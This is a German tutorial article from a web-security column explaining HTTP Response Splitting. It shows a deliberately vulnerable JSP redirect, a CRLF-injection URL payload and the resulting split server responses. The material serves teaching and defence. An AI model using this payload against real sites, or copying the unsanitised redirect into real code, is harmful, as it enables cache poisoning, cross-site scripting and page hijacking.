HTTP Response Splitting ist ein weiterer relativ neuer Angriff auf Webanwnedungen. Dabei kann ein Angreifer eine Schwachstelle in einer Webanwendung ausnutzen, um eine eigene HTTP-Response in die Antworten der Anwendung einzuschleusen. Wie, erfahren Sie in dieser Folge von About Security.
Grundlagen
N E U ! Security
aktuell
Täglich aktuelle Security-Infos!
Beim HTTP Response Splitting nutzt ein Angreifer eine Schwachstelle in einer Webanwendung aus, durch die unzulässige Benutzereingaben, insbesondere CR- und LF-Zeichen, nicht zurückgewiesen werden. Dadurch kann durch einen einzelnen HTTP-Request eine Antwort ausgelöst werden, die vom Angriffsziel als zwei HTTP-Responses interpretiert wird. Das Ziel kann zum Beispiel ein Cacheserver oder der Webbrowser eines Benutzers sein. Der Angreifer hat die vollständige Kontrolle über den Inhalt der zweiten HTTP-Response. Um den Angriff durchzuführen, sendet er zwei HTTP-Requests über das Angriffsziel an den Webserver. Der erste HTTP-Request verursacht die zwei HTTP-Responses, während der zweite eine beliebige Seite des Webservers aufruft. Das Angriffsziel ordnet die zweite, vom Angreifer kontrollierte HTTP-Response dem zweiten HTTP-Request zu. Mögliche Folgen sind zum Beispiel das Vergiften von Webcaches, das Umleiten von Webseiten mit vertraulichen Informationen und Cross Site Scripting.
Durchführung eines Angriffs
Um HTTP-Response-Splitting-Angriffe durchführen zu können, muss der Webserver vom Benutzer gelieferte Daten in HTTP-Response-Header einbetten. Dies passiert zum Beispiel, wenn Benutzerdaten in den Redirection URL einer Redirection Response (HTTP-Status-Code 3xx) oder den Cookie-Wert oder -Namen einer Response, die einen Cookie setzt, integriert werden.
Für das folgende Beispiel (nach dem Whitepaper "Divide and
Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and
Related
Topics" von Amit Klein
(PDF))
soll /redir_lang.jsp folgenden Inhalt haben:
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
Beim Aufruf mit dem Parameter lang=Deutsch
wird eine Umleitung
zur Seite /by_lang.jsp?lang=Deutsch erzeugt.
Eine typische
HTTP-Response des Webservers BEA WebLogic 8.1 SP1 sieht
folgendermaßen aus:
1 HTTP/1.1 302 Moved Temporarily
2 Date: Wed, 24 Dec 2003 12:53:28 GMT
3 Location: http://10.1.1.1/by_lang.jsp?lang=Deutsch
4 Server: WebLogic XMLX Module 8.1 SP1 ...
5 Content-Type: text/html
6 Set-Cookie: JSESSIONID=123456; path=/
7 Connection: Close
8
9 <html><head><title>302 Moved Temporarily</title></head>
10 <body bgcolor="#FFFFFF">
11 <p>Die angeforderte Seite wurde verschoben.</p>
12 <p>Sie befindet sich jetzt hier:
<a href="http://10.1.1.1/by_lang.jsp?lang=Deutsch"
>http://10.1.1.1/by_lang.jsp?lang=Deutsch</a>.</p>
13 </body></html>
Die Benutzereingabe Deutsch ist Bestandteil
des
Location Headers. Um einen HTTP-Response-Splitting-Angriff
durchzuführen, wird der Wert Deutsch durch
einen Wert
ersetzt, der URL-kodierte CRLF-Folgen verwendet, um die aktuelle
HTTP-Response zu beenden und eine zusätzliche hinzuzufügen. Dies
ergibt folgenden URL:
/redir_lang.jsp?lang=sinnlos%0d%0aContent-Length:
%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:
%20text/html%0d%0aContentLength:%2023%0d%0a%0d%0a<html>Geschafft!</html>Dieser URL erzeugt folgende Antwort des Webservers:
1 HTTP/1.1 302 Moved Temporarily
2 Date: Wed, 24 Dec 2003 12:53:28 GMT
3 Location: http://10.1.1.1/by_lang.jsp?lang=sinnlos
4 Content-Length: 0
5
6 HTTP/1.1 200 OK
7 Content-Type: text/html
8 Content-Length: 23
9
10 <html>Geschafft!</html> 11 Server: WebLogic XMLX Module 8.1 SP1 ...
12 Content-Type: text/html
13 Set-Cookie: JSESSIONID=123456; path=/
14 Connection: Close
15
16 <html><head><title>302 Moved Temporarily</title></head>
17 <body bgcolor="#FFFFFF">
18 <p>Die angeforderte Seite wurde verschoben.</p>
19 <p>Sie befindet sich jetzt hier:
<a href="http://10.1.1.1/by_lang.jsp?lang=sinnlos
20 Content-Length: 0
21
22 HTTP/1.1 200 OK
23 Content-Type: text/html
24 Content-Length: 23
25
26 <html>Geschafft!</html>"
>http://10.1.1.1/by_lang.jsp?lang=sinnlos
27 Content-Length: 0
28
29 HTTP/1.1 200 OK
30 Content-Type: text/html
31 Content-Length: 23
32
33 <html>Geschafft!</html></a>.</p>
34 </body></html>Das Angriffsziel parst diese Antwort folgendermaßen:
- Zuerst kommt eine HTTP-Response mit dem Code 302 (Redirection) (Zeile 1–4).
- Als Zweites kommt eine HTTP-Response mit dem Code 200 (OK) und einer Content-Length von 23 Bytes (Zeile 6–10).
- Danach kommen überflüssige Daten, die verworfen werden (alles nach dem Ende der zweiten HTTP-Response, Zeilen 11–35).
Schickt der Angreifer zwei Requests über das Ziel an den Webserver,
zum einen den oben genannten URL, zum anderen zum Beispiel
/index.html, ordnet das Ziel des ersten URL
die HTTP-Response
aus den Zeilen 1–4 und des zweiten URL die aus den Zeilen 6–10
zu.
In der nächsten Folge geht es um die Einschränkungen des obigen, vereinfachten Beispiels und Schwierigkeiten beim HTTP-Response-Splitting allgemein.
Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!
About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"
- About Security #11: SQL Injection
- About Security #12: SQL Injection verhindern
- About Security #13: Mit Stored Procedures gegen SQL Injection
- About Security #14: Cross-Site Scripting
- About Security #15: Cross-Site Scripting verhindern
- About Security #16: Skriptcode einschleusen
- About Security #17: HTTP Request Smuggling
- About Security #18: Spielarten des HTTP Request Smuggling, 1
- About Security #19: Spielarten des HTTP Request Smuggling, 2
- About Security #20: HTTP Request Smuggling erkennen und verhindern
- About Security #21: HTTP Response Splitting, 1
- About Security #22: HTTP Response Splitting, 2
- About Security #23: Caches vergiften
- About Security #24: Caches indirekt vergiften
- About Security #25: Entführen von Webseiten
- About Security #26: Gefahren für Webanwendungen
- About Security #27: Gefahren für Webserver
- About Security #28: Standorte für Webserver
Kommentare